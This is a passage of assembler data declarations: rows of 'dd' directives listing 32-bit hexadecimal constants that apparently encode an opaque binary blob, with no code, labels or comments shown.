8916C548h, 0FFA83889h, 0EB443A80h dd 0D34A4700h, 59572685h, 0FAD12401h, 8F6881BBh, 0A80F6DB5h dd 0E8ACF96Ah, 19916FA0h, 0E944DAB9h, 9B86088h, 1C98C78Bh dd 0D5B5B438h, 2ED21543h, 1723BDh, 0A1B51BE3h, 25A2860Fh dd 524CB791h, 5F30572Dh, 5389E4C3h, 4781C87Ch, 6073C357h dd 0D593F716h, 0A6A9CF29h, 0D01818F1h, 1D478400h, 0E9CA033Ah dd 0FFF23860h, 40C0E8A6h, 0EAFEC251h, 86D6B601h, 97C1AD84h dd 0EF97C30h, 0BD8963FDh, 0A8E7342Ah, 0C18B2917h, 1814D1A0h dd 0AE93372h, 3588B113h, 0A026362Dh, 7C0A8966h, 0FA68D1EBh dd 2A1326h, 0A2ACF953h, 0DE6F3019h, 0E4E80101h, 3880F7Ah dd 2E587573h, 1EA98508h, 0E59D3104h, 0BE91691h, 0F0532980h dd 8A76DF5Ah, 0DB0034ECh, 509030C2h, 55CBF52h, 0F5F2D18h dd 0FAE00331h, 90F0585Ah, 43C708E9h, 24A0401Eh, 692D1D60h dd 509DC84Eh, 0CF8B1411h, 232D2582h, 0C909CC08h, 0BFDA101Ch dd 0FDAA18B2h, 0F5CFD64Bh, 129D1649h, 0A32134E1h, 83000961h dd 310C05C0h, 122835B5h, 94BF0E57h, 87F29E3Ah, 251982ACh dd 5B37C74Ah, 68E92189h, 536F00h, 0AC44508Bh, 0B0CF308h dd 0C91A2A79h, 37648480h, 58AF80F3h, 0EFBA9FDDh, 113D8CA0h dd 7F286081h, 978E7C80h, 4D180D96h, 0BF9663CBh, 35614CD0h dd 3207F11Ah, 7D804035h, 0BBDFB591h, 9D525033h, 0ACDD4C4Bh dd 0A36A9D0Ah, 0C89426C5h, 0E0ED1EC5h, 3BD3FF29h, 0A8181571h dd 85FFDA0Dh, 0BA3B4BD9h, 0B529E121h, 67242CF1h, 0E80840B4h dd 5D021FDCh, 48D9ED81h, 0EDBD0313h, 0C6CE9A57h, 4E0C0B21h dd 40212D0h, 0CF018578h, 0C0168870h, 603DF62Ah, 39F78000h dd 0EF8161F5h, 4AE40372h, 119D8B0Dh, 88B2CF8Dh, 59C6C31Dh dd 82FE8A8h, 0C8A27C1Eh, 1AE3818Eh, 915E9DB6h, 38308118h dd 0B0743A69h, 0DB054421h, 0B0850F1Ah, 444BC72Dh, 58546614h dd 9CC761F7h, 1F73808Eh, 2613BD83h, 5ED316F4h, 8125003Ah dd 0CD59D4C6h, 8D158907h, 34F12A25h, 0DFDB8D75h, 4FA400DFh dd 5133E218h, 5B99ECCCh, 85C7285Fh, 5AD9947h, 120A810Fh dd 0D111A06h, 0E5E97D83h, 91432D93h, 3015A2E7h, 0ED9C3650h dd 0DC41F214h, 8DF92422h, 8150601Ah, 660E23D6h, 0FD5F241Dh dd 5CFEFF8Eh, 46749CECh, 8C75001Dh, 0DB027B37h, 0E34116C0h dd 4843128Dh, 660F14A8h, 9E04F28Ch, 0F60A2BA1h, 53D920A6h dd 1CF28069h, 0CDE6D033h, 0D7010C67h, 95CA3558h, 0D121112Eh dd 706002F6h, 0A288CCDFh, 1B7976C0h, 42FE9081h, 8FFA4245h dd 600E316Bh, 616E76B6h, 12BF9020h, 663B5CE4h, 2204ADE9h dd 50509A5h, 0C8AACEB0h, 78FFC018h, 0E6EED599h, 0E26E7052h dd 6A5D301Ch, 0F404FEF8h, 0BCD83F8Eh, 0E4F6EEC0h, 19A6C471h dd 0B6DF1E11h, 4674D8E4h, 8F2E031Dh, 80F6F79Bh, 12AAE458h dd 7E06BABDh, 0E11000BCh, 5AA43191h, 5C39F18Bh, 6A2DC5B8h dd 374B105Ch, 0F7930054h, 50AA59DEh, 3900BC6Dh, 0B92185E4h dd 532D40h, 8B60FDC1h, 0FBB70FC2h, 0E8176179h, 90B0304h dd 1189013h, 0F7668015h, 0C08CE25Ch, 0B97AE6ABh, 753A006Bh dd 0B1197E41h, 8912D82Bh, 2E56A19Dh, 90E89309h, 0FE16A915h dd 0C08F014Dh, 2A7BDF75h, 1C1D605Eh, 0E8952448h, 10098C17h dd 82B0236Bh, 234B187h, 61C4B5FFh, 2D602B8Dh, 0B945DCB4h dd 1DE09E1Fh, 33F4C131h, 20FD880Dh, 4EEDA9C9h, 0C01A8833h dd 0C86BF776h, 0C635B228h, 13F5BD12h, 0DAE8A722h, 0EE230081h dd 0A5C65157h, 0D51EED48h, 0A1443E7Fh, 9B855EE5h, 0A184C7DBh dd 0C8A252h, 404A42B3h, 9E5B4D4h, 5E987D16h, 0B589A101h dd 3CE9501Dh, 83120F61h, 7C3E028Eh, 0BA001A23h, 295E258Eh dd 666A02B8h, 1DA2DE81h, 8589D048h, 53C8095Dh, 7F602CB1h dd 0E28C0400h, 70952B38h, 216181D9h, 0B8CE399Eh, 0B3BE668h dd 6C9B50Bh, 26D780A0h, 5F49EB8Eh, 0A2AF438Ah, 73BB3019h dd 20EC0300h, 25DF816Ah, 33CB2452h, 995A6A5h, 9702E6A0h dd 9F0A1161h, 90583623h, 0A8DA0992h, 0E80238FFh, 0CD9D58F0h dd 0D6851511h, 0F3B50019h, 3CF85228h, 373B0AB3h, 61060B8Eh dd 0E288FEB0h, 8141BC01h, 0B96079D6h, 0F2806307h, 20453114h dd 1240AD87h, 35C14883h, 1C8C18ECh, 2F07919h, 65BD2992h dd 0B696F658h, 0FD93B00h, 0A7012886h, 601B4456h, 289E3633h dd 4CF4C853h, 0AFC0C40Eh, 0CA892D06h, 49DF1300h, 6D289A93h dd 9EA505C4h, 1621AAC0h, 0D92400D5h, 1B8560BEh, 0F7811E00h dd 520444A4h, 29C15DF6h, 309FB627h, 0B1831A11h, 4BB0523Ch dd 27BB2D8Ch, 0AC7C5B15h, 98A37196h, 86DC0FE0h, 9B522BB2h dd 3D648185h, 352D0834h, 0F21F4135h, 4E9C2E41h, 0D17B7C00h dd 752960ACh, 1BE9A9Dh, 61C4F580h, 0AC43E95Fh, 0F4DE2331h dd 7F710022h, 535E4FBAh, 0C04B8B88h, 8B1CCE6Eh, 0D808B040h dd 0CD4E85C7h, 7DFBC01h, 8C265AFEh, 890FD5F0h, 0BC701F5Eh dd 17E4F892h, 0EF03D24Ah, 33568800h, 3FE37C57h, 53061F5Eh dd 318A0F2Eh, 0DCD25FE0h, 1415ED04h, 8586FCB6h, 0FC3B332Dh dd 2321B5FFh, 68E09EE6h, 0B500E3A9h, 0B8125759h, 79F9608Dh dd 0C42CA7FFh, 0DC306718h, 0B101F18Ah, 0A7174BCBh, 35801911h dd 1B023BDFh, 2F140A4Dh, 1D4B790h, 0BD894D29h, 904DF7FDh dd 78BC96h, 2FAA6E4Ah, 0BD01387Ah, 501AC133h, 739A98BEh dd 0D1BC9108h, 62181Bh, 727DE0DBh, 292EC731h, 9858D2Dh dd 0C05C4D2Fh, 9227070Dh, 26655705h, 4FE632B7h, 3360A7E0h dd 25498D19h, 0F761898Eh, 99C3EB14h, 8107D42Dh, 0CBEF20EBh dd 605A6159h, 899A3520h, 85E079h, 0B4A89935h, 261BDE69h dd 8B431D06h, 0B51BDB5h, 30D8BB66h, 9D46238Fh, 6058162Fh dd 23D70C67h, 6435726Ah, 85BD7F19h, 0E93C90C3h, 0FF71F753h dd 7D5F2B7Ch, 8BFCE902h, 2563E0C1h, 0AD07820Ch, 182D389Dh dd 0B18B0F72h, 6D4231AEh, 0E824A317h, 239A678h, 3E2EFE1Eh dd 6FD91FF0h, 12A5F2B2h, 197BA5C0h, 511264B6h, 38C13688h dd 0B500C90Bh, 0A26B41F8h, 3D011FADh, 5E5F3ECEh, 726C310Fh dd 4A126158h, 7DBDE04Eh, 895D0A50h, 1AC98D14h, 0BAD8408h dd 0C1329419h, 0F2C36417h, 561B45B6h, 22CA226h, 0A4C6905Eh dd 2297FA01h, 157D5512h, 2726CCh, 36162C4Bh, 2057A75Bh dd 5041AF0Ah, 0DA0F1AE8h, 9FBA4013h, 0DDBBB1h, 3428AB30h dd 0C620F8DEh, 226D460Bh, 0D46440h, 11758AC8h, 73B89833h dd 0E56084CAh, 91950B02h, 0D2610610h, 0DC2196h, 1468CADCh dd 0EA5FBCABh, 4AC7BFFEh, 0AD08870Fh, 9E97463Ah, 0BE801D11h dd 192EF322h, 0D1910104h, 6D817FEAh, 0A30523A5h, 60E2404Ah dd 0D3FF3C17h, 0CF805CDBh, 3DB0BE66h, 266845B6h, 417465Ch dd 2BD4F58Ch, 5C6D0583h, 0C43D2AAFh, 0CE1BE916h, 283C2463h dd 60B3F065h, 356B6DC8h, 8B9F8252h, 3C6A399Dh, 271B853h dd 41012530h, 0D04F690Fh, 8C1BA828h, 0E513AFF4h, 45F1A7BFh dd 20F9F301h, 0A8CD526Ch, 0B88F2933h, 0C6F30C5Ah, 72170DE9h dd 861AFE00h, 6F8938D0h, 734FC78h, 0BD835E69h, 5A64FB98h dd 0B604944h, 1B0D8503h, 3FB052CEh, 20A9D155h, 719481A6h dd 1C467Ch, 2ABBD854h, 2801C09Bh, 20881A7Ah, 23762B81h dd 5616B15Ah, 0D1ACC81Ah dd 6004A469h, 0D66AB7EEh, 0F64F420Fh, 1B35AC48h, 898D1531h dd 299C2201h, 181DD95Ch, 725E00CCh, 0B1A3EC54h, 6B24BCF7h dd 2C69368Dh, 0F1C9CC93h, 1F6FA305h, 28169D09h, 202F48C9h dd 7E155CD9h, 6A1DE9B0h, 0FBC003AAh, 9DF3275Eh, 0C82D0B1Fh dd 5A64BE34h, 0C02C5345h, 15941E20h, 2DF1846Dh, 8A0F9000h dd 80EC9AA4h, 0AE0D026Ch, 0E3905650h, 7264DAF0h, 96593202h dd 7417FA4Fh, 0B53361AEh, 0E90A74D9h, 0BE5D81E3h, 729B580Fh dd 11229C3Ch, 922C0700h, 6EE40C3Eh, 53C700DCh, 0C87E0EA3h dd 0E91359AFh, 0A1C5F98Bh, 5A8068DBh, 9CB096C0h, 0B150DE05h dd 0F6817D86h, 0E4011621h, 0F0166671h, 1691B77h, 19F4A6Bh dd 3BA017DFh, 9286A913h, 25F35B0Ch, 0E073B640h, 18023BBh dd 9E2DE5Eh, 9C3F4847h, 0CEBFF85Ah, 1189469Bh, 6388A618h dd 3E69D402h, 784CA399h, 915AA0A8h, 0E2F7880Fh, 0A927ABB8h dd 0C283AF31h, 0E193F8BFh, 0A0D25E4Fh, 9C97E429h, 848B1D37h dd 9D014210h, 0FCD306C5h, 171918B1h, 0B0AA214h, 0CC45B509h dd 5612945Ah, 22001B46h, 9C91D2A0h, 0E84860E9h, 7A545A99h dd 0EF9B4F27h, 0A560DC80h, 28758822h, 616B83B0h, 39A244CFh dd 0FD00B01Dh, 0DFEA313Fh, 972BC6h, 0BE615966h, 8F08285Fh dd 60710F94h, 0D3C03FB6h, 6115E8C9h, 4C90DFB4h, 18A854D0h dd 0CDBD058Ch, 0C114102Ch, 28015DFDh, 0DCB1842Bh, 0E08C5195h dd 0BE9F3F01h, 0FEC428h, 0BA0FFE61h, 0A24D1AFFh, 85F3AF04h dd 6795DB06h, 1DB2D7F3h, 9873A630h, 90E7C27h, 111786FBh dd 0BBE6400h, 1E4978B0h, 0A16E4E40h, 0A61F5000h, 69F162DFh dd 108F0F25h, 890C8CE3h, 5A3DE9h, 177FC4CFh, 928EDB40h dd 0E5565374h, 0AC80B23Eh, 7FA13104h, 0B848EE6Ah, 0E2E1C074h dd 453BEA2h, 5E180768h, 0E68D845Fh, 0AF12E06Dh, 5E8A00A3h dd 0EE4AC20h, 8926BD01h, 9D4AEC17h, 5864763Bh, 0E84A11DAh dd 0A4B80048h, 0D73A3D33h, 0B6170B2Eh, 2D25E96h, 0FDE42923h dd 11048B81h, 0C5D8BE66h, 6FC15E83h, 1FFB161Ah, 0DE3DAAC9h dd 7931E728h, 0D1E3998Ch, 57F8191Ah, 95390BBFh, 0B944567Ah dd 1BF29343h, 113A30h, 0A1D0C50Ah, 8D0F84E8h, 0DED618B5h dd 0B09F595Ah, 0F9D7809Eh, 30469DBh, 7559BD2Ch, 0B4045B92h dd 29020D4Dh, 6BEBAD9Dh, 0E189C399h, 3D0D7571h, 6F338DA4h dd 30B8C22Dh, 595CECA2h, 21B6962h, 15E62CE9h, 2C196120h dd 8D0C08Bh, 34242FB1h, 184B1C24h, 0FA814Ah, 0F933A049h dd 3520DD2Bh, 0A6F45600h, 0DE1B36D6h, 43A85A15h, 0FDB5899Dh dd 4AB9DD58h, 0F91BF890h, 893D26F1h, 400A14EDh, 0B6BC6849h dd 2D02263Dh, 4C821E5Fh, 1AFC4C34h, 9766018Ch, 0BF883F3Eh dd 25112F20h, 0A9344FE6h, 12D9F20Eh, 0DAD661A2h, 0A21280E4h dd 2DDB9BBFh, 8B3A6802h, 0A850B17Bh, 473E097h, 0E1B52BB6h dd 51900B1Ch, 9EC303CCh, 8FA17696h, 5B0ED4E6h, 0F5289F12h dd 0B2E0C2A6h, 0E0481170h, 324D122Ah, 0C4909127h, 13662460h dd 8E69CBFh, 224C0B34h, 0A7F6501Fh, 412441CDh, 205E553h dd 0FC244E8h, 0E3F93BCCh, 15B523C1h, 7DE9042Ah, 0ABE7E11Dh dd 0D66A78BEh, 7585010Ch, 4F9D8131h, 6E88177Dh, 0A980008Bh dd 2318468Bh, 6321044Fh, 0A1CD9529h, 99C903D2h, 0BFF5009Ch dd 4804D44Eh, 82428F72h, 8A0F6009h, 8D09E710h, 4F1FA528h dd 7A236120h, 0AE78F1B5h, 758AC193h, 0E80A6D0Ah, 0C9550046h dd 0C1DD127Ah, 0E90E7C27h, 32FFF81Bh, 1A23D83Ah, 0E11D4C00h dd 4AFB3214h, 9CD2C8ADh, 67806200h, 4D74549Ah, 29CCC4CCh dd 0C18B0430h, 5BE093A6h, 0CD005562h, 4559A3D4h, 4BEB01BBh dd 23FC3F04h, 4ADA0118h, 6943FBC8h, 187B8F7h, 7280E7EFh dd 446E1AD6h, 3ED189F7h, 86F6C67h, 0F1C12507h, 0F78B1102h dd 5EF133Eh, 0A72E37D0h, 6B68A06Eh, 0A023019Bh, 3F69A70Dh dd 27027ACDh, 76D9BD29h, 965B49EEh, 0E3F82971h, 16A01746h dd 439B202h, 6170A19h, 3FE2EBF6h, 919B3FD8h, 0AA21AD79h dd 18941A06h, 0A6050F9h, 0AEAB61DAh, 8AD1F1DBh, 5185ECD9h dd 2420015Bh, 3B39DDBFh, 29DA47C9h, 0B06566FEh, 0C254FC7h dd 0A87921C5h, 3CB8C876h, 2810644h, 0F8D0B5D6h, 5DB6137h dd 3D2CBE04h, 23A62E24h, 795A0616h, 2BA0FCF3h, 1B9AF18Dh dd 0BF600CB4h, 168AFAD4h, 8E1DE948h, 0E9232AE7h, 68F91FA1h dd 17CF1E7h, 25307A2Eh, 0B14F9023h, 3D1B00ABh, 48E8C592h dd 0F90050D6h, 0B4EF9E5Ah, 5293C96h, 9D8BEE1Eh, 1B50E1D5h dd 4DFBC291h, 0ADD44079h, 0E802B629h, 11E90B9Ah, 834ADF46h dd 98C068DEh, 0CBEA6513h, 0F8BCF60Bh, 0EF90001Eh, 0B838FFAh dd 17087BBDh, 4FACD84Bh, 0A2B5AB89h, 0F95EE9BAh, 0BD0B4155h dd 80BE609h, 0C93724CBh, 70BC5309h, 18035DEAh, 0E9D27D80h dd 811D0122h, 0A2A8F0E7h, 0C2364960h, 0C800F21h, 0A6D80657h dd 0B381158Ah, 0ADDD8D2Bh, 0F94274EDh, 8659CDh, 0CAFA384Bh dd 8E2E6E26h, 45085151h, 0F75E132Ah, 0E16A5B3Eh, 0B7297704h dd 9619C3BFh, 31FC2C99h, 13E54478h, 0F6F6C47Ch, 65C7E25Bh dd 58BE80D7h, 32FAD8Bh, 0E65B513h, 6B3568F6h, 0E27DB643h dd 0EB607EEFh, 59508C7Bh, 90D77358h, 514D019Ah, 5790F8DCh dd 155EFE5Eh, 0FC716140h, 0B7140424h, 0E8830F40h, 4085885Eh dd 0B589905Fh, 0E90D74B9h, 85EC8FEAh, 5EA6BA41h, 0C9C8DBB0h dd 0D7A88072h, 1270E612h, 471E4F5h, 0FC160513h, 248B8F44h dd 74ED1749h, 8131C094h, 2AC38B29h, 5DE17084h, 0D0E7DE76h dd 0C7E1AE2Ah, 129D46B0h, 2BCC4040h, 0DC0EBED8h, 7B674702h dd 44E86093h, 689500C1h, 92254A69h, 0B203705Dh, 57C7628Dh dd 8E0F8959h, 0FE009766h, 29935061h, 2E69BDB5h, 590673F2h dd 0A4181Ch, 0E6C86F19h, 1D73FD89h, 0C58D2915h, 0B5A550F5h dd 0BA0B612Dh, 0B94BB70Dh, 0E23F9880h, 180A92A0h, 6EADD750h dd 0D168A662h, 44E87C25h, 0E75E4110h, 5CFC0B49h, 5320086h dd 617C9D3Eh, 0DD5FCAFBh, 82649237h, 27455B8Dh, 2B123A82h dd 44EACDC4h, 0EC00B77Fh, 55745CFFh, 48F145EFh, 0F1473ECAh dd 6D35B5A1h, 0AD59211Ah, 0CE4000CDh, 12BF9193h, 0E0989288h dd 0AF24E7AFh, 37AD86F6h, 69160099h, 97880758h, 0BE687096h dd 0AD294112h, 0A940A221h, 125CF781h, 5373169Ah, 270B6FACh dd 4254C2B6h, 2D66D923h, 2EC593EDh, 8EEE8902h, 0F27DE13Fh dd 0B829CD20h, 4A1D5A16h, 447181CDh, 3B6DB145h, 0D3FCC474h dd 939A4480h, 5A02ECBDh, 8BCB15D3h, 8FD2D048h, 0B2862E6h dd 45BDF7C0h, 0D1891F4Fh, 80806E68h, 2EF1E1F0h, 4D30CF06h dd 0BE0F9D0h, 5F8E45DEh, 12FDF48h, 17F170B9h, 1C160D18h dd 0FE84635Ah, 1DE0D3F6h, 0BF2CD2AEh, 0F90B7C0Ah, 0CE7E68E9h dd 4BD000CFh, 0CCA841B7h, 9401B863h, 428D9235h, 156C8514h dd 0FEA8A288h, 7717592Ch, 40E5ED52h, 0CD25471Ch, 424A87FAh dd 0EF0CF4E7h, 8D44A22Ch, 1F90455Ah, 0B6F78BC3h, 0CF55C502h dd 0C01CC8CAh, 333D02FDh, 62356401h, 8F0FE99Fh, 0F33DE236h dd 0F6EF4C2Dh, 78923D62h, 351C5AD7h, 0A8A7ADE4h, 0E4380585h dd 8110498Ah, 91DADA3h, 0DB2AD8C9h, 257B8047h, 2107479h dd 8D09CD6Ch, 0C7020EB5h, 80D35685h, 7E0D5DF7h, 0D9285FBFh dd 0C04D8E15h, 0FBCD1673h, 0D222DCFh, 9D82F550h, 0C74345Bh dd 372089D9h, 5E658A11h dd 6B58E42Bh, 95CC50E7h, 902A404Dh, 926C3294h, 3100E1B9h dd 2FEBD995h, 5B3E7F7Ah, 0D359C600h, 0B5BF08C9h, 4AA2791Eh dd 3C54E6C3h, 0D13A9DADh, 46021723h, 74A1AEEAh, 22CF25A4h dd 3EB3E160h, 808B12A3h, 0B91F1036h, 7B25DD17h, 9F5C0F11h dd 7551A023h, 12C8F836h, 57ED9589h, 0E04CB64Eh, 2F8BE18Ah dd 0AD10237Eh, 3A09EC9Dh, 806CB6C0h, 0D3491FB0h, 0EEDE2EB2h dd 0F37B698Ah, 35732671h, 0B8D62000h, 622B7811h, 46F64501h dd 8BE7F49Dh, 0B414A030h, 19E814EEh, 534D8503h, 0F1C872E1h dd 0A509A902h, 89EBABA1h, 55F0960h, 32405F60h, 1D69950Eh dd 82493EBCh, 0E1C85082h, 5740DB59h, 0E9B41F09h, 6D9D09BCh dd 0A8ADF31Bh, 0C4CE16BDh, 0E01CE6B9h, 2F7C780h, 0BD337F02h dd 810010D9h, 2D7BA4CFh, 0B21A77BAh, 35F9FC40h, 8A605009h dd 4279DCh, 0F8D7217Bh, 0C800AE73h, 65B218FFh, 3A155953h dd 8B1D6949h, 1727EDCEh, 0F5B0890Fh, 8C92E1C6h, 0C0A34D97h dd 4ED891D6h, 0A14FE690h, 8E9EED4h, 0FA7273BCh, 13EFFAC1h dd 0E1430617h, 113AC7Dh, 0FE8BC7F0h, 4DAC684Dh, 4E6BC09h dd 65B5899Ah, 56500729h, 0DE88B72Fh, 0F6620902h, 49F9F4C5h dd 0A1826228h, 5DCE1FEh, 0FB057148h, 0B7C0C1EEh, 29E028FAh dd 0D125991Eh, 0A8C70059h, 9016142h, 75C32400h, 412D0E50h dd 0AFE62546h, 3CD1965Bh, 3C1026Ch, 3E1279BDh, 939BDB74h dd 0C4912AC0h, 29E2BFC9h, 0FF70BA0Eh, 3995A2D3h, 0A0D5D335h dd 2CB920C0h, 7CCE916h, 0F924D68Bh, 0BCB7AF03h, 0AFBB7B01h dd 0E038CAF2h, 58384980h, 0A12C27ECh, 19083B95h, 0CF9E2F28h dd 19A8610h, 248C15F8h, 3E0E14Ah, 9D8B7DABh, 2D36A8D4h dd 0BDCF29FCh, 37F18028h, 3C8C0C46h, 0DA5F7F3Bh, 0A5D6ED48h dd 0C681B246h, 8300DED9h, 0B41245BDh, 0BA4444D0h, 93015D7Bh dd 8975A47Ah, 8F972B85h, 46EA8D64h, 31B7E9D3h, 39A219B5h dd 0E82DF6C8h, 8636008Bh, 0EE9B08E4h, 7FB8459Fh, 92095182h dd 8CD064F3h, 879D00EBh, 0E4C2C7E5h, 8506FBBFh, 6CE927DCh dd 44A8AF28h, 80A9BC01h, 0FC221182h, 0A73E16CFh, 0F30B340h dd 4019BFF7h, 0B06591CDh, 2E280EB5h, 0ED8E1AC0h, 1A6743E7h dd 8F124E79h, 0C318887Ah, 5F8908ABh, 44EC2146h, 5B7ABE39h dd 10F0E909h, 0F5F65A82h, 0E8933FD9h, 0DDC20490h, 0FD7200F1h dd 1DBF5B6Eh, 0F82D1022h, 0FC24855Eh, 632EF5A2h, 0B200FCA1h dd 8A5F9C3Fh, 6EEA97F2h, 9C19A05h, 3F110D85h, 4FF32A28h dd 0FB20D850h, 34BBE59Ah, 0DD300371h, 0E91640DDh, 0BD97EF79h dd 0F0D91383h, 9AC2B0C0h, 762361B5h, 0D69168F3h, 18C153Ah dd 0DB13866Fh, 27FEC93h, 619BDB2h, 0DB53B255h, 61C501Eh dd 0CE01CC00h, 5A77361Ah, 9F92B86Ch, 0F1CE492Ch, 31478A9Eh dd 0ECBE4BEBh, 591027E8h, 8E1E4E0Fh, 208DBDC4h, 0C04A71F2h dd 2B70E7B3h, 8ADBD84Bh, 4F01AF80h, 9B01533Fh, 0A9BE934Bh dd 50F9E82Ah, 0AD819D9h, 2F4BF90Fh, 12C01788h, 0C4BB19D8h dd 0B70E55BCh, 0BB0924A4h, 0A4DC3112h, 21875B0Fh, 3C318DC4h dd 1BFF41B1h, 7B96C0C8h, 4059753h, 39621781h, 530BB12h dd 4119B529h, 142A451Fh, 0A94D0836h, 82047ABDh, 0BB823739h dd 43DED2FFh, 0CD6A5E6Dh, 37621D00h, 23AB0701h, 2135BD12h dd 1FF95475h, 9A018BA8h, 867350B0h, 9C2F345Fh, 5291F7CEh dd 0E0196D25h, 0A67D2C48h, 0F68E8D01h, 5E63EF81h, 203A6BD5h dd 3CA995Ah, 0B261F500h, 5E123514h, 85974838h, 1496E5Ah dd 694095DFh, 0B661A0D2h, 0A6230EE9h, 773DA055h, 0C1FFC1B9h dd 58BA20CBh, 2D6D2948h, 7A00981Dh, 6F2EE101h, 62F200E1h dd 99C23A06h, 0C6E1125Fh, 1D4F04B5h, 1B891601h, 0C5F2132Ah dd 589D81FAh, 35E969F8h, 1BD8538h, 95E0C4B9h, 520EB4Eh dd 0B6A156h, 83D55993h, 6FD9AB5Fh, 93C082Dh, 69CA02FBh dd 0C8E4090Ch, 8133BF45h, 9ECC3500h, 0DF8B1069h, 0FAFBB102h dd 0D98E0F2Bh, 354988A9h, 0B8E95F12h, 128C15ACh, 1C53C4D1h dd 570A5902h, 126E6F5Bh, 8EADAB07h, 0CDC920D6h, 174AD880h dd 87949A20h, 1FA31872h, 0BDB5E093h, 5E0F299Ah, 2E0BC32Bh dd 11F27311h, 0DE5AF89Fh, 0B0DA8004h, 26EDE810h, 659B3CE9h dd 8BC84415h, 0B88EE9C0h, 3EB209F3h, 47449B2Ch, 24494600h dd 0CDEAAF03h, 0B5E01EA3h, 167B2658h, 0A9F2857Eh, 0EB61AD3Bh dd 5D0F412Bh, 447DC217h, 0A6D1E5DBh, 0CB3824C6h, 85C690F6h dd 0DE9E790Eh, 59BC5665h, 5E591C20h, 730B9242h, 903F30F1h dd 82C61D81h, 6F3A1356h, 4CA52E7Bh, 355E5907h, 0E9B501F1h dd 0BA51E024h, 0EB20FBC5h, 256D9CA5h, 0FCBA0CDh, 0BCE2B2EBh dd 0C1198923h, 0A441FC5Dh, 0F80223B9h, 9DC5F56h, 108923D2h dd 4012DC84h, 0CEF6DDF9h, 0BB780001h, 891BD70Ah, 0BA003E98h dd 30C7B338h, 14A784BEh, 0E0523F74h, 77E8852Ah, 5BF3595Eh dd 8501F8BCh, 2B3F97FDh, 0B62065ABh, 44245BC5h, 0AD1F51CEh dd 0A0E85Dh, 0BCC825A8h, 0CB2848CAh, 0A07960CAh, 0B313FC92h dd 0B718AEC6h, 0C60F3829h, 1D74C109h, 0BD1A02DCh, 6B3C38EDh dd 3DB5A0D0h, 0F534807Ah, 4A9752ECh, 8975030Fh, 2514299Dh dd 1DF38078h, 1D37FB25h, 0EA5DDC00h, 54680D93h, 9F0BC1F1h dd 87377B3Ah, 0B90E15ACh, 90A6A0FFh, 12CCBA60h, 87756A2h dd 0F0A50272h, 9050248Ah, 0DB7FDE69h, 401B7009h, 787E536Ah dd 8A0483EAh, 0CDB5893Eh, 0E7810590h, 182D1A38h, 0CE60564Ch dd 8CA07EBCh, 174C1D86h, 0BD090449h, 89491471h, 0EF1A5B04h dd 81660A20h, 0DB4500DFh, 0E1D9BF50h, 219F15EEh, 351DBD66h dd 2501B148h, 97E3D185h, 0BC28ADC4h, 38D42E64h, 83E52F61h dd 491FA1A4h, 4C5E51E5h, 691734A8h, 0D76FD3FFh, 96EE6002h dd 75D4BD46h, 26168908h, 734C60AEh, 6900D8C2h, 0B8BE469Ah dd 5A31C987h, 8497645Fh, 0E98C45FAh, 8497A361h, 6B251D90h dd 9506004Eh, 5F5851B1h, 7EFC3BBFh, 8A1E302Dh, 100415E1h dd 8B0104EDh, 7A05F99Dh, 0DACED741h, 24975624h, 0F35224FDh dd 9CBE037Bh, 4E56CF4Bh, 0E4A55D54h, 0B4011EBBh, 5C6AF433h dd 0F3B70284h, 1BE5BD83h, 4252317Ch, 3186465h, 0FAC9D53Fh dd 4BDB26C1h, 85091704h, 0B3A91949h, 34E64869h, 21105ABEh dd 1430E91Ah, 81403775h, 58317D19h, 0C23549BFh, 0F18D2921h dd 0A0423F23h, 80269B4Ah, 0DD0DA6FDh, 0B55EE22h, 15F59529h dd 4EA6EAFBh, 40194674h, 4C146BC3h, 9EF75AAh, 0E2616AF6h dd 0DC79F4F0h, 3746201h, 88A82DFFh, 0F270C43Eh, 2D3E3414h dd 0CA6EFEh, 2B1B69EBh, 25FF0CE7h, 0B91A53BCh, 90FB8EC0h dd 512D6198h, 0DACAC0AFh, 0FE41F5ACh, 99130ED9h, 6420796Fh dd 5FFEB0DDh, 0D49AE71Dh, 29B577h, 210316D3h, 6C090DCFh dd 46B57B8h, 9ED15195h, 237671E4h, 0CFDBDFF0h, 0AF9BA706h dd 27B0F6D2h, 0AA3234F1h, 0D44BFCh, 0CCE5EAF7h, 455BFC2Eh dd 899D3113h, 57CFA4A9h, 951D9544h, 0C387823Ch, 0DCC4DCh dd 231EE4BCh, 0F825B075h, 32770097h, 918A0FC6h, 134E3ED6h dd 0B860F97Eh, 0CC56099Dh, 9EC06171h, 0B606B5BEh, 0D82B6F7Ah dd 23C920CAh, 24E1504Eh, 4BE1BDF0h, 259E8A04h, 2B71AF3h dd 7C164DE6h, 50867EF5h, 0CD3E3504h, 8BE114AFh, 0BD09E238h dd 133211C5h, 5A505EDBh, 0CC449757h, 0B6BF6E1Fh, 9439700h dd 0B3A326h, 870BE740h dd 199B523h, 0F58CE8ABh, 2B02F9FBh, 208979DEh, 1B10367Ch dd 6F5DE558h, 0EC2824Ah, 0B597584Eh, 69840072h, 7A8D5A8Eh dd 4B511E48h, 0A4DC24DEh, 582083Ch, 0B722BE81h, 143F7E84h dd 344B7436h, 0E1DAC2F8h, 51A90E4Ah, 0E500653Dh, 478F0A23h dd 0D4EF273Eh, 25CEFEE1h, 41C34159h, 0C3290215h, 0DBF5AC5Ch dd 42D5203Ah, 6800A4CFh, 0FD6B8A3Eh, 0B0B5876Dh, 2725094Bh dd 0F3EA4345h, 89CFCC0Bh, 85310B40h, 60234FFDh, 0C183F5EAh dd 822F3795h, 84FB2B2Fh, 0CE7003D2h, 0A9845D82h, 0D8841314h dd 31C06EDBh, 0DF109D4Ah, 0D0CAAC5Fh, 12C02758h, 0DE401C2h dd 93282359h, 0DA01EBA2h, 29BC7D12h, 18C0CC9Eh, 83748D73h dd 0AFB4B604h, 409B5B15h, 0C1A778C5h, 312398Ch, 299BD42Bh dd 0CA5CB5C0h, 0E32CE7E8h, 5628C4DBh, 94163927h, 316C80E1h dd 295D328Dh, 290EEFh, 2005FDC8h, 0C08B3C15h, 0BA6CF02h dd 997A3D44h, 27DC8CBCh, 0CDF052C4h, 0D7825FBEh, 7515F05Bh dd 0B30D9637h, 6E7BA256h, 954C0532h, 1C0593Fh, 0B28FEB96h dd 9BCE646h, 3111BD03h, 489ADEEDh, 0DCC5F44Fh, 0D5F81907h dd 0F120EA5Ch, 0BF85FF43h, 1791DF9Fh, 4F2E7181h, 49A2A02h dd 97C01CC8h, 5485814h, 295AA2A6h, 3382989Ch, 115BD10h dd 71319029h, 1B6181Bh, 0E7B40E39h, 3FA5F3CFh, 2F10F405h dd 0D480CDF8h, 0C4FB6B08h, 74A41B05h, 